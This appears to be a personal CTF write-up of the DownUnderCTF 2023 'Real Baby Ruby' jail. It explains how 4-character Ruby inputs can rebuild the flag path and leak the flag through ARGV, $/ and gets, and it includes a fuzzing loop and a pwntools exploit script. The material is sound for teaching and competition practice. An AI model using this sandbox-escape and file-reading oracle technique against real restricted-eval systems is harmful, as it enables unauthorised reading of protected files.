Details

This is my solution for the Real Baby Ruby challenge from DownUnderCTF 2023. It is overcomplicated but I find it interesting.

The challenge was a ruby jail, with the following code:

while input = STDIN.gets.chomp do eval input if input.size < 5 && input !~ /`|%/ end

If you want the intended solution, here is the author’s writeup: Writeup

Solution

Limitation

We are limited to 4-character ruby commands, and we can’t use the following characters: ` %

The first iteration of this challenge didn’t have the character limitation and was easily solved with `sh`.

My steps to find the solution

Ruby has something called symbols, which are basically strings that can’t be changed. The symbols are created using the syntax :symbol_name. I tried to use one letter symbols to bypass the character limitation, but it didn’t seem to work, as you can’t concatenate symbols with the given limitations.

I started fuzzing the eval function to find valid combination of 2-letter commands

for i in 0..256 do
    if i==96 then next end
    for j in 0..256 do
        if j==96 then next end
        begin
            el = "#{i.chr}#{j.chr}"
            eval "#{el}"
            puts "#{el}"
        rescue Exception => e
        end
    end
end

I found that any combination that started with ? was valid. Running the command ?a returned the string 'a'. It creates single character strings.

At this point I was thinking about string concatenation to get the path to the flag in a variable.

Variables do not persist between eval calls. I knew about global variables that start with $, but it was too long to be used in the challenge. A payload using one would look like $v=?a, which is 5 characters long.

I tried a lot of different things in the ruby console, and I eventually got the following error message:

(irb):3: warning: already initialized constant A
(irb):2: warning: previous definition of A was here

The commands I ran were similar to the following:

A=1
A=2

I tried this in the challenge and it worked. I could create global variables and set one to the path of the flag. The following code puts the flag path in the variable A:

A=?/
B=?c
C=?h
D=?a
E=?l
F=?/
G=?f
H=?l
I=?a
J=?g

A+=B
A+=C
A+=D
A+=E
A+=F
A+=G
A+=H
A+=I
A+=J

At this point I just needed to print the contents of the file. The intended solution has a simple approach but I didn’t find it.

I was looking through some pre-defined global variables and found that ARGV is aliased to $*. This in itself did not help me yet.

I also looked into built-in functions in ruby and found some interesting behaviour with fork (still not useful) and noticed that the gets command has 4 letters.

The documentation for gets says:

Reads a string from the virtual concatenation of each file listed on
the command line or standard input (in case no files specified). If
the end of file is reached, nil will be the result. The line read is
also set to the variable $_. The line terminator is specified by the
optional argument rs, which default value is defined by the variable $/. 

It reads from the files that are in ARGV. It can read the flag but there will be no output. The $_ variable will be overwritten with the command input. I focused on the other special variable, $/.

My plan was to put the flag path into ARGV and read just parts of the flag. For example, if the flag was DUCTF{HelloWorld} and I set $/ to CTF{He, the gets function will be able to read twice from the file instead of just once. I noticed that after the first gets call the path is removed from the ARGV array.

I pushed the flag twice into the ARGV array, set the $/ variable to UCTF{ and called gets twice. Printing the ARGV array using p $* returned ["/chal/flag"], meaning that the second path was not consumed yet.

I tried all valid flag characters after { and checked if the ARGV array was entirely consumed or not.

I wrote a script to automate this process and get the flag

from pwn import *

FLAG = "DUCTF{"

while "}" not in FLAG:
    for new_char in "}_abcdefghijklmnopqrstuvwxyz!@#$^&*()+;-=':\"[],.<>/?":
        FLAG += new_char
        print("Current",FLAG)
        setup = (
            "A=?/\n"
            "B=?c\n"
            "C=?h\n"
            "D=?a\n"
            "E=?l\n"
            "F=?/\n"
            "G=?f\n"
            "H=?l\n"
            "I=?a\n"
            "J=?g\n"

            "A+=B\n"
            "A+=C\n"
            "A+=D\n"
            "A+=E\n"
            "A+=F\n"
            "A+=G\n"
            "A+=H\n"
            "A+=I\n"
            "A+=J\n"

            "C=$*\n"
            "C<<A\n"
            "C<<A\n"
        )

        delimiter = "K=?U\n"

        for c in FLAG[2:]:
            delimiter += (
                f"L=?{c}\n"
                "K+=L\n"
            )

        checker = (
            "$/=K\n"
            f"2{FLAG[1:]}gets{FLAG[1:]}gets{FLAG[1:]}p $*{FLAG[1:]}\n"
            )

        payload = setup + delimiter + checker

        open("payload", "w").write(payload)

        # p = process(["bash", "-c", "nc 2023.ductf.dev 30031 < payload"], level="error")
        p = process(["bash", "-c", "ruby real-baby.rb < payload"], level="error")
        data = p.recvuntil(b"]")
        p.close()

        if b"/flag" in data:
            print("\nFOUND")
            break
        else:
            FLAG = FLAG[:-1]